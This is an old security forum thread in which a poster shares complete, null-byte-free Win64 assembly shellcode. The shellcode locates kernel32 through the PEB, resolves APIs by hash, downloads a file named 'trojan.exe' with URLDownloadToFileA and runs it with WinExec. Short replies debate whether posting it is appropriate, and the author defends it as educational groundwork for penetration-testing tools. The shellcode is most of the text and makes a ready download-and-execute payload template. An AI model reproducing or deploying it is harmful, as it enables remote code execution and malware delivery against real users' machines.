win64 shellcode

Martyr

i just wrote this recently, might interest anyone writing exploit for win64 :-)

;
; dexec64.asm - 218+ bytes (unoptimised)
;
; Win64 asm code, download & execute file using 
; URLDownloadToFileA moniker & WinExec
;
; tested on AMD64 running Windows x64 SP1
;
; there probably are errors in the code, but this is more of an 
; experimental source if nothing else.
; code is not optimised at all, doesn't contain null bytes, so is 
; possibly suitable for testing exploits on win64
;
; one of the main stumbling blocks in coding x64 asm on windows 
; is the alignment of the stack.
; it must be aligned by 16 bytes because windows uses 
; 128-bit SSE2, otherwise the api call will fail.
;
; thanx:
;
; roy g biv/29a - http://www.29a.net/
; Feryno - http://feryno.host.sk
; Tomasz Grysztar - http://flatassembler.org
;
format PE64 console 4.0
entry entrypoint

section '.text' code readable writeable executable     
; assumed to be writeable when in memory, no NX obstruction!

             ; 1*8 is used rather than 0*8 because it uses null byte
LoadLibraryA         equ  rbp+1*8 
WinExec              equ  rbp+2*8
URLDownloadToFileA   equ  rbp+3*8

entrypoint:
   jmp get_eip
load_dta:
   pop  rax
   push rax
   lea  r15,[rax-(setup_stack-hashes)]
   inc  byte [rax-(setup_stack-url_end)]          ; nullify tail end of url
   inc  byte [rax-(setup_stack-fname_end)]        ; nullify end of filename
   inc  byte [rax-(setup_stack-url_mon_end)]      ; nullify end of URLMON
   ret                                            ; go!

hashes:
   dw  0bb86h         ; LoadLibraryA()     635bbb86
   dw  0a333h         ; WinExec()          208da333

   db  'URLMON',0ffh,0ffh
url_mon_end   =   $-2

   dw  05f92h         ; URLDownloadToFileA    c91e5f92
   dq  -1
fname:
   db  'trojan.exe',0ffh                        ; what to save as
fname_end  =   $-1

url:
   db  'http://localhost/trojan.exe',0ffh       ; where to download file from
url_end  =   $-1

get_eip:
   call  load_dta
setup_stack:
   add  rsp,-(4*8)    ; 3 api variables, + 1 for avoiding null :-|
   push  rsp
   pop  rbp           ; rbp = table of api
   mov  rdi,rbp       ; rdi points to table also
   stosq              ; doesn't really do anything.
   add  rsp,-(11*8)   ; reserve space for windows, when calling api

   push 60h           ; Hello, Ratter. 8-D
   pop rcx
   mov rax,[gs:rcx]   ; Peb
   mov rax,[rax+18h]  ; PebLdr
   mov rsi,[rax+30h]  ; Ldr.InInitializationOrderModuleList
   lodsq              ; skip ntdll.dll
   mov rbx,[rax+10h]  ; kernel32.dll base

   mov cl,2                     ; get 2 api first
get_apis_loop:
   mov  eax,dword[rbx+3ch]      ; MZ header size
   lea  rsi,[rbx+rax+78h]       ; export directory begins at 88h
   mov  eax,dword[rsi+10h] ; extra instructions needed to avoid null bytes
   lea  rsi,[rbx+rax+1ch]

   lodsd
   lea  r9,[rax+rbx]
   lodsd
   lea  r10,[rax+rbx]
   lodsd
   lea  r11,[rax+rbx]
   xor  r12,r12
load_index:
   mov  esi,dword[r10+4*r12]
   add  rsi,rbx
   inc  r12
   xor  eax,eax
   cdq
hash_export:
   lodsb
   add  edx,eax
   rol  edx, 5
   dec  eax
   jns  hash_export
   ror  edx, 5
   cmp  dx,word [r15]            ; found api?
   jne  load_index

   movzx  edx,word [r11+2*r12-2]
   mov  eax,[r9+4*rdx]
   add  rax,rbx
   add  r15,2                  ; skip hash

   stosq                       ; save api address
   loop get_apis_loop

   push  r15                   ; push/pop to avoid null with mov
   pop  rcx
   call  qword[LoadLibraryA]

   xchg  rax,rbx
   add  r15,8                   ; skip URLMON, first time.
   push  1                      ; get 1 api from URLMON
   pop  rcx
   test  rbx,rbx                ; continue if not zero
   jne   get_apis_loop

   dec  ecx
   push  rbx
   sub  rsp,3*8                 ; needed to align stack
   xor  r9,r9
   mov  r8,r15
   lea  rdx,[r8+(url-fname)]
   call  qword[URLDownloadToFileA]

   push 1
   pop  rdx
   mov rcx,r15
   call  qword[WinExec]       ; WinExec("trojan.exe",SW_SHOWNORMAL??);

   ;jmp   $                   ; hang

   call qword[ExitProcess]    ; not required, testing only

; section below not required, simply for testing.
section '.idata' import data readable writeable

  dd 0,0,0,RVA kernel_name,RVA kernel_table
  dd 0,0,0,0,0

  kernel_table:
    ExitProcess dq RVA _ExitProcess
    dq 0

  kernel_name db 'KERNEL32.DLL',0

  _ExitProcess dw 0
    db 'ExitProcess',0

; July 2006 - (Ireland)

NutJob

Nice work.


Deserves a bump.

MiCr0

sorry, but why are you posting this?

ecksor

Of interest as stated in the first post. It's on topic.

NutJob

Shellcode and security go together or am i lost?

Dont you have to understand this stuff to know what your up against?

Martyr

MiCr0 wrote:

sorry, but why are you posting this?

its educational to some?

it just demonstrates shellcode in windows 64-bit environment, i don't expect it to be used by anyone, it is not very useful in real scenario without modifications anyway.

although, it might be helpful, in that it would save a few hours or more for anyone writing shellcode for win64 in future, on how to get base address of kernel32 from PEB without hardcoding it, scan the export table for api, align the stack, setting up parameters, calling api..etc

exploits? there is a bit of research going on in this area at the moment, take a look at the latest release of uninformed e-zine.

it is still a fairly new platform, but i would expect to see more 64-bit apps when vista is released next year, & of course many exploits.

i believe they may have already found problems in win64, which are to be anounced this month sometime.(could be wrong about that)
i wouldn't be naive to believe that people out there are not writing exploits for it already.

when LSD released winasm codes back in 2002, they provided an excellent tool for penetration tests against windows operating systems.
before this, it was considered by most security consultants to be "difficult" to write an effective 100% working exploit for a windows system.. there was simply a lack of understanding about windows & what was possible.

LSD showed that it is no more difficult to write an exploit to run on windows, than it is on *nix platforms.

metasploit framework is probably a direct result of LSDs previous work

before LSD wrote their paper, knowledge of assembly programming on windows was usually exclusive only to virus writers & anti-virus writers or software crackers & guys like Mark & Bryce at sysinternals...

as more win64 systems are deployed in future, would it not make sense to develop similar penetration tools for win64?

not that what i posted is by any means a comparison to what LSD did, not at all.
But it might be helpful to somebody, who might someday decide to develop such a tool.

NutJob wrote:

Dont you have to understand this stuff to know what your up against?

absolutely